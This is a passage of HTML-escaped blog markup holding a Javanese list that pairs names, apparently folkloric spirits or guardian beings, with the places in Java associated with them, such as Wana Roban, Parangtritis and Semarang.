Kali-Opak&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Majek              --- Galen&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Cengjures         --- Kalipening&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Karangwelang   --- Dhahrama&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sisendhal         --- Kreteg&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sapuangin       --- Bleberan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Senapada       --- Rangkudang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Pandhansari    --- Serisig&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Malangkarsa    --- Wanapeti&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sandhung       --- Sawangan Praga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Siabur-abur     --- Panggung&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Singabarong     --- Jagaraga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Aryatiron         --- Lodhaya&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sarpabangsa   --- Rawa Pening&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Hinakarni        --- Betawi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sapuregel      --- Betawi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butagila          --- Tegal&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jaringwarih       --- Brebes&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Dhandhungawuk --- Brebes&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Guntinggeni       --- Wiradesa&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Teluhbraja        --- Cilacap&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalasekti          --- Cilacap&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ni Buratwangi    --- Sabrang &lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Nayadipa          --- Selong&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gunturgeni       --- Pringtulis&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Penatas           --- Kendhangwesi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sithethel         --- Ngajah&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Buta glemboh   --- Ngajah&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butatukang      --- Tegaloyang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Juru taman       --- Tegaloyang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Nyai Galuh        --- Jenar&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Wesasi            --- Banjaransari&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sijayapidana     --- Dlepih&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Widanangge      --- Dlepih&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bagelung          --- Wana Roban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gendhung         --- Wana Roban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gruwung          --- Wana Roban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gitranaya         --- Wana Roban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Daruna --- Kayulandhean&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Daruni --- Kayulandhean&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Citranaya --- Caruban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Satapura --- Caruban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ondar andir ---Kuwu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Siparangtandang --- Tuksanga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Siluwer ---Batang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sang Dalujawi ---Kalkung&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalanandhah --- Tuntang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ngalingkung --- Setantelagapasir&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jalilung --- Setantelagapasir&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Singamarang --- Semarang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Baratkatiga --- Semarang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Arya Dipa --- Lodhaya&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bancuri Kalabancuring --- Redi Prahu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gutukwatu --- Pekalongan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gunturgeni --- Pekalongan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Setanturwangkal --- Kaliwungu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gutukapi --- Kaliwungu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Maesakurda --- Nusa Brambang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Durgabahu --- Jeruklegi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Wirabangsa --- Redikombang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ajidipa --- Redi Kendheng&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ratu Genawati --- Seluman&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ragawati --- Ringinputih&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kemandhang --- Ringinputih&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jayengresmi --- Masjid Sela&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jenggi --- Gunung Agung&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Warusuliwaringin --- Gunung Agung&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Udangalak --- Pemalang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sembungyuda --- Pemalang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Manggisretna --- Gunungtawang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sanawati --- Tidhar&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalasekti --- Tidhar&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Maduretna --- Sindara&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Pujangga --- Mrapi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Parlapa --- Mrapi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jatisewu --- Sumbing&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jalela --- Sumbing&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sidamurti --- Karungrungan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Surapati --- Tlaga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Parusa --- Waringin&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Teluhgung --- Ngawang-awang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalekah --- Ngawang-awang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Lempir --- Rebabu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Terapa --- Rebabu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Tlurki --- Priyangan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ni Jenggi --- Kedhunggedhe&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Garubawor --- Lamongan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gurnita --- Puspalaya&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Pangenbuta kumbari --- Redi Prahu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kaladremba --- Redi Prahu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Pragota --- Kartasura&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sikareteg --- Pajajaran&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kresnapada --- Rangkudan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Pandhansari --- Tarisik&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Sandhungan --- Sawahan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Dhudhukwarih --- Pelabuhan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butatukang --- Pelayangan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Rara Amis --- Ingtawang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Prabu Jaka --- Redi Kelir&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butakala --- Pasisir&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalanandhan --- Banyumas&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Renthil --- Segaluh&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Geniara --- Gunungduk &lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Baledhug --- Parangkusuma&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Garunggung --- Parangdhog&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Galenthung --- Parangtritis&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bok Bereng --- Parangtritis&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Wastuti --- Parangtandang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Sabukjanur --- Dalan Prapatan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Gurong --- Dalan Prapatan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ni Gurong --- Dalan Prapatan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Rara Dulek --- Penancingan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Rara Dewi --- Guws.langso&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Raden Arya Jayengwesthi --- Parangwedang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Silengkur --- Tilamputih&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Lancuk --- Blora&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kala Durgi --- Gambiran&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalapraharan --- Lasem&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Dhandhangmurti --- Sidayu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Widalangkah --- Candhi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Suwanda --- Sokawati&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Nyai Ragil --- Tandhos&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jayalelana --- Suruh&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Buta Trenggiling --- Tanggal&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Guntinggeni --- Kenhal&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Samahita --- Magelang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Udanriris --- Pasijayan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Citranaya --- Kayubarean&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Logenjeng --- Juwana&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Londir --- Wirasaba&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jaran Panolih --- Matesih&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Damapi --- Jatisari&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Parangtandang --- Kesanga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Retnapangasih --- Sendhang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bok Sampur --- Redi Wilis&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Raden Panji --- Ngambel&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Penthul --- Kacanag&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Tambaksuli --- Ngrema&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Klunthung --- Jepara&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Kecubung --- Kadilangu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Drembomoha --- Purbalingga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Kreta --- Karangbolongan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Andhongsari --- Kedhungwinong&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Karungkala --- Jenu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Banjaransari --- Penggirtg&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Condrolatu --- Pagelen&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kethekputih --- Kendhalisada&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Rara Bhenok --- Demak&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bathithit --- Tuban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Juwalpayal --- Talsinga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: 